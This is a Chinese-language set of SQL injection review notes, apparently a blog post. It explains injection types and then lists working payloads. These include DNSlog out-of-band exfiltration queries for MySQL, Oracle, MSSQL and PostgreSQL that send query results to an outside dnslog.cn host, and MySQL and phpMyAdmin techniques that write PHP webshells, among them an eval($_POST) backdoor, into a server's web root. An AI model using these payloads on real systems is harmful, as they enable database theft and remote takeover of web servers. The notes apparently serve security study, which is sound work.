sql 复习

sql注入原理

攻击者构建特殊的输入作为参数传入到web应用程序,在代码里面直接与SQL语句进行拼接,执行SQL语句从而执行攻击者的恶意代码,获取敏感数据或者写入shell。

布尔盲注和时间盲注的区别

应用程序执行payload过后,有正常页面和异常页面,使用布尔盲注
执行payload过后,只有一种页面,但是可以通过时间延迟来判断,使用时间盲注

二次注入原理和常见情形

二次注入的原理主要就是入库和出库,当用户输入特殊字符时,服务端进行了转义,然后将数据插入到数据库中,但是数据插入到数据库中时转义的反斜杠没有代入数据库,后面又从数据库中取出数据然后拼接SQL语句时造成了SQL注入

宽字节注入原理

造成宽字节注入的原因是编码转换,应用程序的编码与数据库的编码不一致,编码转换导致的引号逃逸。
在gbk编码模式下,两个字节会重新编码为一个汉字。

按注入方式:
	联合注入
	报错注入
	布尔盲注
	时间盲注
	二次注入
	宽字节注入
按变量类型:
	数字型
	字符型
按HTTP提交方式:
	GET注入
	POST注入
	COOKIE注入

sql注入无回显的的情况下

	1.盲注 写脚本或者sqlmap
	2.dnslog 把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。

DNSlog注入(https://www.cnblogs.com/wjrblogs/p/14367387.html)

在这里插入图片描述

在这里插入图片描述

mysql#

条件:

    Windows
    mysql.ini 中 secure_file_priv 必须为空,select @@secure_file_priv
    适用于联合注入或堆叠注入
    具体:
    利用 mysql (Windows 适用)中的 load_file() 函数
    select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));
    当查询的数据中有特殊符号时,可使用 hex() 函数外带
    select load_file(concat("\\\\",hex(version()),".1ndex.dnslog.cn//1ndex.txt"));,数据过长不行

oracle#

条件:适用于联合注入或堆叠注入
可用函数:
    UTL_HTTP.REQUEST()

		SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;

    DBMS_LDAP.INIT()

		SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;

    HTTPURITYPE()

		SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

    UTL_INADDR.GET_HOST_ADDRESS()

		SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

mssql#

条件:Windows、适用于堆叠注入

	id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 
	id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"'); 
	id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"'); 

postgreSQL

条件:Windows、适用于堆叠注入
	id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function(); 
开启 db_link 扩展:
	id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT); 

注意点
dns 查询有长度限制,所以当查询结果数据过长时需要截断
特殊符号,如@,一般先编码后再带出

mysql写入shell的方式

	union select 后写入
	lines terminated by 写入
	lines starting by 写入
	fields terminated by 写入
	COLUMNS terminated by 写入
 into outfile
	id = 1 union select '<?php phpinfo();?>' into outfile 'D:\\wwwroot\\shell.php'#    
	id = 1 into outfile 'D:\\wwwroot\\shell.php' fields terminated by '<?php phpinfo();?>'#
 如果是堆叠查询,可以利用log日志文件getshell
	id=1;set global general_log='on';set global general_log_file='D:\\wwwroot\\shell.php';#
	id=1;select '<?php phpinfo();?>';#

phpmyadmin写入shell

1.
     CREATE TABLE `mysql`.`test` (`content` TEXT NOT NULL );
     INSERT INTO `mysql`.`test` (`content` ) VALUES ('<?php @eval($_POST[pass]);?>');
     SELECT `content` FROM `test` INTO OUTFILE 'D:\\wwwroot\\shell.php';
     DROP TABLE IF EXISTS `test`;
2.
 	select '<?php @eval($_POST[pass]);?>' into outfile 'D:\\wwwroot\\shell.php';
 	select '<?php @eval($_POST[pass]);?>' into dumpfile 'D:\\wwwroot\\shell.php';
3.
	show global variables like "%genera%";        
	set global general_log='on';              
	SET global general_log_file='D:/phpStudy/WWW/cmd.php';    
	SELECT '<?php phpinfo();?>';              
	set global general_log='off';             

可以写入shell的权限

root权限
GPC关闭(能使用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有create、insert、select的权限
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值